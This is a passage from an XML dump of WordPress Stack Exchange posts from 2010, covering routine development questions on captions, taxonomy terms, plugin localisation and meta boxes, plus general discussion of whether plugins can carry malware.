Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;metabox&gt;" AnswerCount="1" CommentCount="13" FavoriteCount="11" />
  <row Id="1784" PostTypeId="2" ParentId="1756" CreationDate="2010-09-14T06:26:29.303" Score="1" ViewCount="" Body="&lt;p&gt;If it is down to it - &lt;a href=&quot;http://spectacu.la/search-and-replace-for-wordpress-databases/&quot; rel=&quot;nofollow&quot;&gt;plugin for search and replace in WP with serialized support&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just be sure to backup and everything. I'd first test on local copy of database if possible.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-14T06:26:29.303" />
  <row Id="1785" PostTypeId="1" AcceptedAnswerId="1792" CreationDate="2010-09-14T06:35:56.330" Score="2" ViewCount="144" Body="&lt;p&gt;Is it possible to write a virus in a form of a WordPress plugin/theme?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;steal user data?&lt;/li&gt;&#xA;&lt;li&gt;damage existing WordPress installation?&lt;/li&gt;&#xA;&lt;li&gt;(optionally) self-spread the virus?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Are there any existing cases of this kind of viruses?&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2010-09-14T07:18:04.697" Title="Can a WordPress plugin or theme contain a virus?" Tags="&lt;plugins&gt;&lt;themes&gt;&lt;virus&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="1786" PostTypeId="2" ParentId="1770" CreationDate="2010-09-14T06:37:47.857" Score="0" ViewCount="" Body="&lt;p&gt;Your home page response is 301 redirect to &lt;code&gt;/categories/&lt;/code&gt;, no ideas what is causing it for now (.htaccess? WP?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had you tried to simply un-publish page that is (supposedly) caused this?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-14T06:37:47.857" />
  <row Id="1787" PostTypeId="2" ParentId="1774" CreationDate="2010-09-14T06:49:39.230" Score="1" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$caption_info = array();&#xA;&#xA;add_filter( 'img_caption_shortcode', 'capture_caption', 10, 3 );&#xA;&#xA;function capture_caption( $blank = '', $attr, $content ) {&#xA;&#xA;    global $caption_info;&#xA;&#xA;    $caption_info[] = array('attr' =&amp;gt; $attr, 'content' =&amp;gt; $content );&#xA;    return ' ';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will save info from all captions into global &lt;code&gt;$caption_info&lt;/code&gt; variable and suppress their display in content (space is returned because filter result is ignored if empty).&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-09-14T07:28:24.677" LastActivityDate="2010-09-14T07:28:24.677" CommentCount="6" />
  <row Id="1788" PostTypeId="2" ParentId="1785" CreationDate="2010-09-14T06:53:37.943" Score="2" ViewCount="" Body="&lt;p&gt;Yes. Yes. Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of these are not only possible, but also easily encountered in the wild. There had been whole waves of self-spreading WordPress malware for some older insecure versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything WordPress has access to - any theme or plugin has access as well. Stealing or ruining data is trivial for code running as WP extensions.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-14T06:53:37.943" CommentCount="2" />
  <row Id="1789" PostTypeId="2" ParentId="1775" CreationDate="2010-09-14T06:59:43.623" Score="2" ViewCount="" Body="&lt;p&gt;I don't have enough pages to test, but I have an idea that 10 is default pagination number.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$all_wp_pages = $my_wp_query-&amp;gt;query(array(&#xA;    'post_type' =&amp;gt; 'page',&#xA;    'posts_per_page' =&amp;gt; -1&#xA;    ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this doesn't work I will try to find some time to generate bunch of pages and test.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-14T06:59:43.623" CommentCount="1" />
  <row Id="1790" PostTypeId="2" ParentId="1777" CreationDate="2010-09-14T07:03:16.607" Score="2" ViewCount="" Body="&lt;p&gt;Yes, it stores the caption in it's own place in the DB.  I can't quote the exact location but in Wordpress, &quot;Attachments&quot; are a post type and it stores each attachment just like a post.  For an attachment post type, it treats the Image Caption as &lt;code&gt;the_excerpt&lt;/code&gt; the Image Description as &lt;code&gt;the_content&lt;/code&gt; and the Image Title as... &lt;code&gt;the_title&lt;/code&gt;.  &lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2010-09-14T07:03:16.607" CommentCount="1" />
  <row Id="1791" PostTypeId="2" ParentId="1779" CreationDate="2010-09-14T07:05:05.433" Score="0" ViewCount="" Body="&lt;p&gt;Hard to make a guess, it's whole ladder of functions. &lt;code&gt;get_template_part()&lt;/code&gt; calls &lt;code&gt;locate_template()&lt;/code&gt; which calls &lt;code&gt;load_template()&lt;/code&gt; which does &lt;code&gt;require&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you try these from bottom to top to determine if it is &lt;code&gt;get_template_part()&lt;/code&gt; exactly or some function in between.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-14T07:05:05.433" CommentCount="7" />
  <row Id="1792" PostTypeId="2" ParentId="1785" CreationDate="2010-09-14T07:18:04.697" Score="3" ViewCount="" Body="&lt;p&gt;When you write PHP code, you can do just about anything. So when you run the code of a plugin it can do just about anything as well.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It can query the database and get whatever info is there (which is why it's a good idea to store passwords as hashes.)&lt;/li&gt;&#xA;&lt;li&gt;Since it can query the database, it can also delete anything in the database, ruining settings, turning off plugins etc.&lt;/li&gt;&#xA;&lt;li&gt;Plugins can send out info the normal way, mail, http, so spreading a virus will be hard if the receiver has good protection.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Depending on your server setup, a plugin can take over your server. If you allow it, to download files that it can execute, it would be able to download any code, that it would be able to run in your server. If the user running the code has enough privileges, it can do stuff like changing the password effectively shutting you out of the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But all of this, will be easy to spot, so if a lot of people are using it, you should be safe to download and use it, since expert PHP developers, would have found out about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So short answer is, yes almost anything is possible, but the dangers are not that great. If you use popular pluings&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think a bigger danger, would be that the plugin is poorly written, and will accidentally create a security risk, like not validating user provided data etc.&lt;/p&gt;&#xA;" OwnerUserId="94" LastActivityDate="2010-09-14T07:18:04.697" />
  <row Id="1793" PostTypeId="2" ParentId="1780" CreationDate="2010-09-14T07:40:21.077" Score="0" ViewCount="" Body="&lt;p&gt;Try moving registration of &lt;code&gt;Sidebar&lt;/code&gt; sidebar to be first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had an impressions that widget should move to that special &quot;unassigned&quot; area in this situation, but maybe that only works between themes, not changes in same theme.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-14T07:40:21.077" CommentCount="1" />
  <row Id="1794" PostTypeId="1" AcceptedAnswerId="1915" CreationDate="2010-09-14T08:08:45.627" Score="3" ViewCount="1674" Body="&lt;p&gt;I have an interesting problem which I hope someone can quickly answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created my own metabox which, based on &quot;MY METABOX CODE&quot; (list below) is correctly displaying a dropdown list of all my terms within the &quot;event_types&quot; taxonomy I created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I am running into an issue is being able to SAVE/UPDATE the term associated with a post when a different term is selected from the dropdown and the post is updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After tinkering around with various code bits I was able to figure out that by MANUALLY entering the term_ID number(s) [separated by commas] into the array area I am getting the results I am looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if on saving the post a function were to call this code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_set_post_terms( $post_id, array(5,7), 'event_types', FALSE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then my post WILL UPDATE and associate the term_ID 5 &amp;amp; 7 to it which as you can see I am passing in the array. The problem is that this is hard coded into my functions.php file and not based on a user selected dropdown value (note: I am actually only trying to pass one ID but I did two for testing as explained below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also been able to figure out that if I add the following code to my metabox file then I am able to echo a list of assigned term IDs but the last item has a comma.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $event_types = wp_get_object_terms($post-&amp;gt;ID, 'event_types'); &#xA;foreach ($event_types as $event_type) { echo $event_type-&amp;gt;term_id . ','; } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So... it seems I have 85% of my problem solved. The Remaining 15% of my problem remains as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What do I need to add to my functions.php file code (listed below) so that when I create/update a post the NEW VALUE selected from my taxonomy dropdown list is passed into the array?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Although in this example I am looking to ensure that only a SINGLE taxonomy can be associated with a post, there are other situations where I would like to create a checkbox list which would require me to pass more than one value into the array. As such, what would I need to change so that a comma separated list of term ID's is passed into the array? If your answer involves using some or part of the example code I listed above where I echo the IDs then how do I ensure the last ID which is printed does not have a comma at the end? (Is there a different/better way to do it? I saw hints which might relate to adding a filter but I am not sure how this is done...)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thank you guys very much in advance - below is the code I am currently using in each file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CODE IN MY FUNCTIONS.PHP FILE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save_event_taxonomy_terms($meta, $post_id) {&#xA;        $event_types = wp_get_object_terms($post-&amp;gt;ID, 'event_types'); &#xA;        wp_set_post_terms( $post_id, array($names), 'event_types', FALSE);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MY METABOX CODE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name='post_event_types' id='post_event-types'&amp;gt;&#xA;// DISPLAY TERMS AS DROP DOWN OPTIONS&#xA;    &amp;lt;?php &#xA;    $names = wp_get_object_terms($post-&amp;gt;ID, 'event_types'); &#xA;    $event_types = get_terms('event_types', 'hide_empty=0'); &#xA;    ?&amp;gt;&#xA;    &amp;lt;option class='event_type-option' value='' &amp;lt;?php if (!count($names)) echo &quot;selected&quot;;?&amp;gt;&amp;gt;Not Assigned&amp;lt;/option&amp;gt;&#xA;    &amp;lt;?php foreach ($event_types as $event_type) {&#xA;        if (!is_wp_error($names) &amp;amp;&amp;amp; !empty($names) &amp;amp;&amp;amp; !strcmp($event_type-&amp;gt;slug, $names[0]-&amp;gt;slug)) &#xA;        echo &quot;&amp;lt;option class='event_type-option' value='&quot; . $event_type-&amp;gt;slug . &quot;' selected&amp;gt;&quot; . $event_type-&amp;gt;name . &quot;&amp;lt;/option&amp;gt;\n&quot;; &#xA;        else&#xA;        echo &quot;&amp;lt;option class='event_type-option' value='&quot; . $event_type-&amp;gt;slug . &quot;'&amp;gt;&quot; . $event_type-&amp;gt;name . &quot;&amp;lt;/option&amp;gt;\n&quot;; &#xA;    }&#xA;    ?&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2010-09-15T03:25:26.107" LastActivityDate="2011-06-18T11:16:25.373" Title="Need Help in Saving Taxonomy Terms (85% solved... just need some help)" Tags="&lt;custom-post-types&gt;&lt;customization&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;&lt;filters&gt;" AnswerCount="4" FavoriteCount="6" />
  <row Id="1795" PostTypeId="1" CreationDate="2010-09-14T09:14:48.453" Score="1" ViewCount="353" Body="&lt;p&gt;I'm unable to load the plugin's locale file &lt;em&gt;(.mo)&lt;/em&gt;. I did all the procedues described in the &lt;a href=&quot;http://codex.wordpress.org/Writing_a_Plugin&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Writing_a_Plugin&lt;/a&gt; but its not working. If I the lang string to the wordpress default &lt;code&gt;wp-content/language/de_De.mo&lt;/code&gt; file then its show the correct translated string. but not loading the data from my plugin folder :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$plugin_dir = basename(dirname(__FILE__)) .&quot;/lang/&quot;;&#xA;load_plugin_textdomain( 'tboy_displayTimeZone', null, $plugin_dir );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="389" LastEditorUserId="389" LastEditorDisplayName="" LastEditDate="2010-09-14T09:37:29.450" LastActivityDate="2010-09-14T09:37:29.450" Title="how to load the language file in plugin?" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;theme-development&gt;&lt;multi-language&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1796" PostTypeId="2" ParentId="1795" CreationDate="2010-09-14T09:30:17.223" Score="2" ViewCount="" Body="&lt;p&gt;&quot;All procedures&quot; is not very descriptive. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you calling &lt;code&gt;load_plugin_textdomain()&lt;/code&gt; function? Had you set domain in your plugin's strings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also relevant section here: &lt;a href=&quot;http://codex.wordpress.org/I18n_for_WordPress_Developers#I18n_for_theme_and_plugin_developers&quot; rel=&quot;nofollow&quot;&gt;I18n for theme and plugin developers&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-14T09:30:17.223" CommentCount="4" />
  <row Id="1797" PostTypeId="1" AcceptedAnswerId="1799" CreationDate="2010-09-14T10:31:27.627" Score="0" ViewCount="87" Body="&lt;p&gt;say i have an option&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_option('pp_options', $options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when i want to create a form for that, i learnt that i have to create a settings group&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_setting('pp_options_group', 'pp_options');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then in the form do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;settings_fields('pp_options_group')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but i dont really what is the settings group actually for? i know its to do with sanitization but why the need to create a group for sanitization?&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2010-09-14T10:45:24.783" Title="What is a settings group actually for?" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="1798" PostTypeId="1" CreationDate="2010-09-14T10:44:15.940" Score="1" ViewCount="56" Body="&lt;p&gt;Can a user spread Virus or do an harm to Multisite Installation ? Can a user take a chance of using &quot;HTML &quot; option in posts? In what ways do my Multi-site have chances to get attacked ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you suggest me some precautions to follow with multisite ? I wanted to maintain Muilti-site for Public registrations with full features like any other Blogging platform does.&lt;/p&gt;&#xA;" OwnerUserId="391" LastActivityDate="2010-10-29T16:10:26.617" Title="Can a user spread virus on my Multisite?" Tags="&lt;multisite&gt;&lt;virus&gt;" AnswerCount="2" />
  <row Id="1799" PostTypeId="2" ParentId="1797" CreationDate="2010-09-14T10:45:24.783" Score="1" ViewCount="" Body="&lt;p&gt;Sanitization is secondary function. Main is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_setting&quot; rel=&quot;nofollow&quot;&gt;register_setting&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/unregister_setting&quot; rel=&quot;nofollow&quot;&gt;unregister_setting&lt;/a&gt; functions add and remove options from a whitelist of allowed options that the form is able to save. They can also name a sanitize callback function as a security measure to check each option's value. ( &lt;a href=&quot;http://codex.wordpress.org/Creating_Options_Pages#Register_Settings&quot; rel=&quot;nofollow&quot;&gt;Register settings&lt;/a&gt; )&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Technically &lt;code&gt;$option_group&lt;/code&gt; argument is used for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;array key in global array of whitelisted options&lt;/li&gt;&#xA;&lt;li&gt;part of filter name to run sanitization callback&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-14T10:45:24.783" CommentCount="1" />
  <row Id="1800" PostTypeId="2" ParentId="1798" CreationDate="2010-09-14T11:02:48.180" Score="1" ViewCount="" Body="&lt;p&gt;Disclaimer - I am not experienced with multisite specifics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This depends on amount of access user is given:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ability to submit/run PHP code in any form - bad, should never be allowed;&lt;/li&gt;&#xA;&lt;li&gt;ability to submit unfiltered HTML (+JavaScript) - unlikely to compromise installation itself, but can be abused to post malware on frontend.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Overall this is quite specific case, which requires niche expertise. It is probably best to look for tutorials and consultations from people who specialize in such type of WP usage, rather than generic WP bunch.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-14T11:02:48.180" />
  <row Id="1801" PostTypeId="1" AcceptedAnswerId="1803" CreationDate="2010-09-14T11:07:39.373" Score="0" ViewCount="154" Body="&lt;p&gt;1st question is: is a nonce required for a meta box? i read on the wordpress codex &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_meta_box&lt;/code&gt;&lt;/a&gt; and they have a nonce for the meta box, i'd thought that maybe the add post form will already include a nonce? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;myplugin_noncename&quot; id=&quot;myplugin_noncename&quot; value=&quot;' . wp_create_nonce( plugin_basename(__FILE__) ) . '&quot; /&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2nd question is: whats the parameters available for the function that creates the markup of the meta box. from what i read in profesional wordpress looks like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function pp_meta($post, $box)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how will i know what parameters are available in such functions? and what does &lt;code&gt;box&lt;/code&gt; refer to? &lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2010-10-14T11:41:52.133" Title="Questions about meta box: nonce and parameters available" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="1802" PostTypeId="1" AcceptedAnswerId="1982" CreationDate="2010-09-14T11:19:55.837" Score="3" ViewCount="127" Body="&lt;p&gt;Is there some way to export/import links from a wordpress.com site to a private site? I have a rather large directory of links. I fetch the opml file and the category levels are there, but when I use the Bloggroller importer, it doesn't create the categories? Help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-24T00:34:58.403" LastActivityDate="2010-09-24T00:34:58.403" Title="Import and export links from WordPress.com to private site" Tags="&lt;wordpress.com&gt;&lt;links&gt;&lt;import&gt;&lt;export&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="1803" PostTypeId="2" ParentId="1801" CreationDate="2010-09-14T11:22:31.090" Score="1" ViewCount="" Body="&lt;p&gt;Not sure about nonces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for arguments it is probably their usage of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;add_meta_box()&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;$callback_args&lt;/strong&gt; &#xA;  &lt;em&gt;(array) (optional)&lt;/em&gt; Arguments to pass into your callback function. The callback will receive the $post object and whatever parameters are passed through this variable. &#xA;  Default: null&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;$post&lt;/code&gt; is post object and &lt;code&gt;$box&lt;/code&gt; is whatever they are passing in &lt;code&gt;$callback_args&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-14T11:22:31.090" CommentCount="1" />
  <row Id="1804" PostTypeId="1" AcceptedAnswerId="1806" CreationDate="2010-09-14T13:09:29.343" Score="1" ViewCount="137" Body="&lt;p&gt;I've created plugin that goes to wordpress plugin repositories. Now, I need to create another plugin (sub plugin or child plugin you may call) that require this certain plugin to be already installed and activated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can use &lt;code&gt;register_activation_hook&lt;/code&gt;. However, how do I check using that hook? Or, maybe there's another solution exists?&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2010-09-14T13:33:56.057" Title="How to check if certain plugin exists and in expected version" Tags="&lt;plugin-development&gt;&lt;hooks&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1805" PostTypeId="1" CreationDate="2010-09-14T13:22:01.093" Score="0" ViewCount="144" Body="&lt;p&gt;I have a plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/theme-my-login/&quot; rel=&quot;nofollow&quot;&gt;Theme My Login&lt;/a&gt; for WordPress 3.0.1 which causes my user's profile pages to be here: domain.com/login-2?action=profile&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of here: domain.com/profile&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am trying to fix it with mod_rewrite like this: RewriteRule ^profile /login-2?action=profile&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it seems to do nothing. I suspect it's some weird thing happening in WordPress but wanted to ask folks here if my rewrite rule looks correct before I dig further. Did I do it right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I had someone suggest I use wp_rewrite - which I noticed has some flush rules functions associated with it; perhaps wp is not noticing my changes to htaccess because a flush is needed first?&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-16T19:47:03.910" LastActivityDate="2010-11-16T19:48:20.193" Title="Trying to use .htaccess to redirect /profile to /login-2?action=profile" Tags="&lt;3.0.1&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="1806" PostTypeId="2" ParentId="1804" CreationDate="2010-09-14T13:33:56.057" Score="1" ViewCount="" Body="&lt;p&gt;There is &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_plugin_active&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_plugin_active()&lt;/code&gt;&lt;/a&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other method is to check if functions or classes, specific to required plugin, exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For practical example see &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/scb-framework/trunk/scb-check.php&quot; rel=&quot;nofollow&quot;&gt;how it is done in scbFramework&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-14T13:33:56.057" />
  <row Id="1807" PostTypeId="1" CreationDate="2010-09-14T14:44:24.337" Score="1" ViewCount="875" Body="&lt;p&gt;Anyone know any quality image slideshow widgets that can be put on a sidebar?&lt;/p&gt;&#xA;" OwnerUserId="752" LastActivityDate="2011-05-26T22:38:04.670" Title="Sidebar slideshow widget" Tags="&lt;images&gt;" AnswerCount="3" />
  <row Id="1808" PostTypeId="2" ParentId="1807" CreationDate="2010-09-14T14:59:41.770" Score="0" ViewCount="" Body="&lt;p&gt;I use &lt;a href=&quot;http://www.slidedeck.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.slidedeck.com/&lt;/a&gt; its free for the basic version, the advanced (payfor) give you vertical scrolling as well as horizonal (more iPad'eske). I took about 5 minutes to setup and comes with a couple of nice looking templates. The control panel in \wp-admin is really easy to use and can link to your forum posts. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="878" LastActivityDate="2010-09-14T14:59:41.770" />
  <row Id="1809" PostTypeId="2" ParentId="1807" CreationDate="2010-09-14T15:17:41.007" Score="1" ViewCount="" Body="&lt;p&gt;I built a very basic image rotator for a client once.  It pulls a random sampling (with a configurable maximum number) of images from available attachments in the WordPress database and resizes them for display in the sidebar.  The advantage of server-side resizing is a faster page load (though images larger than 2MB will get stuck in the system and won't load properly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's called Rotating Image Widget and is hosted in the &lt;a href=&quot;http://wordpress.org/extend/plugins/rotating-image-widget/&quot; rel=&quot;nofollow&quot;&gt;WordPress plug-in repository&lt;/a&gt; (meaning it's free and open source).  If you make any changes to the code, please let me know so I can incorporate your improvements into the next version.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-14T15:17:41.007" CommentCount="1" />
  <row Id="1810" PostTypeId="1" AcceptedAnswerId="2004" CreationDate="2010-09-14T16:26:50.677" Score="0" ViewCount="442" Body="&lt;p&gt;Some links on my site take the user to a specific post &lt;strong&gt;in context on a category page&lt;/strong&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On non-WP sites, this is easily accomplished by including &lt;code&gt;#example-div-id&lt;/code&gt; in the url like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.example.com#example-div-id&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But in a WP environment, this url isn't working&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.example.com/?cat=15#post-170&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This (incorrectly) jumps the browser window to the end of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But this does work&lt;/strong&gt;...manually removing the trailing slash after page load and reloading the page.  The browser window jumps to the appropriate div, or post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.example.com?cat=15#post-170&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why this is?  Or how to get WP to eliminate the trailing slash?  Is it safe to eliminate the trailing slash?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I tried using EAMann's solution below, implementing pretty permalinks to facilitate the anchor jump.  The results achieved completely break my post order and exclusion of child categories.  My navigation is category based.  I don't use pages, but use category names in the navigation.  Each 'page' is really a category archive showing posts from the category.  What I've read about permalinks starting with %category% leads me to avoiding permalinks all together.  I certainly don't want to start the permalink with the year or post id either.  It doesn't make sense on my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.example.com/category/my-category&lt;/code&gt;  looks more professional and &quot;normal&quot; than &lt;code&gt;http://www.example.com/2009/my-category&lt;/code&gt; when the intended illusion is that the category names are really pages on this business site.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So I'd appreciate any other explanations why the anchor jumping isn't working.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update #2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;(in response to EAMann's comment directly on the OP)&#xA;My site is a business website that for the most part displays static content.  A few areas have featured portfolio work and there is blog section.  The site uses a category based navigation.  All the site content is written as posts.  Each post is associated with a category that determines where the post is displayed.  The site navigation menu is created with &lt;code&gt;wp_list_categories()&lt;/code&gt;.  Clicking on a category opens a category archive that presents all the posts from the category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using the default permalink structure.&lt;br&gt;&#xA;&lt;code&gt;http://www.example.com/?cat=15&lt;/code&gt; shows a category page.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update #3&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;After more investigation, it appears that the jQuery plugin &quot;innerfade&quot; that I'm using to display a slideshow at the top of the page is the culprit.  It has nothing to do with the trailing slash.  Sorry to go down the wrong path.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I comment out the php that includes the plugin js file, and the anchor jump works just fine.  I would guess that some javascript manipulation of the page content is screwing up the jump.  I've worked around the problem using &lt;code&gt;$(window).scrollTo();&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate everyone's time.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditorDisplayName="" LastEditDate="2010-09-17T18:01:10.743" LastActivityDate="2011-01-21T12:31:58.027" Title="How to use div -ids 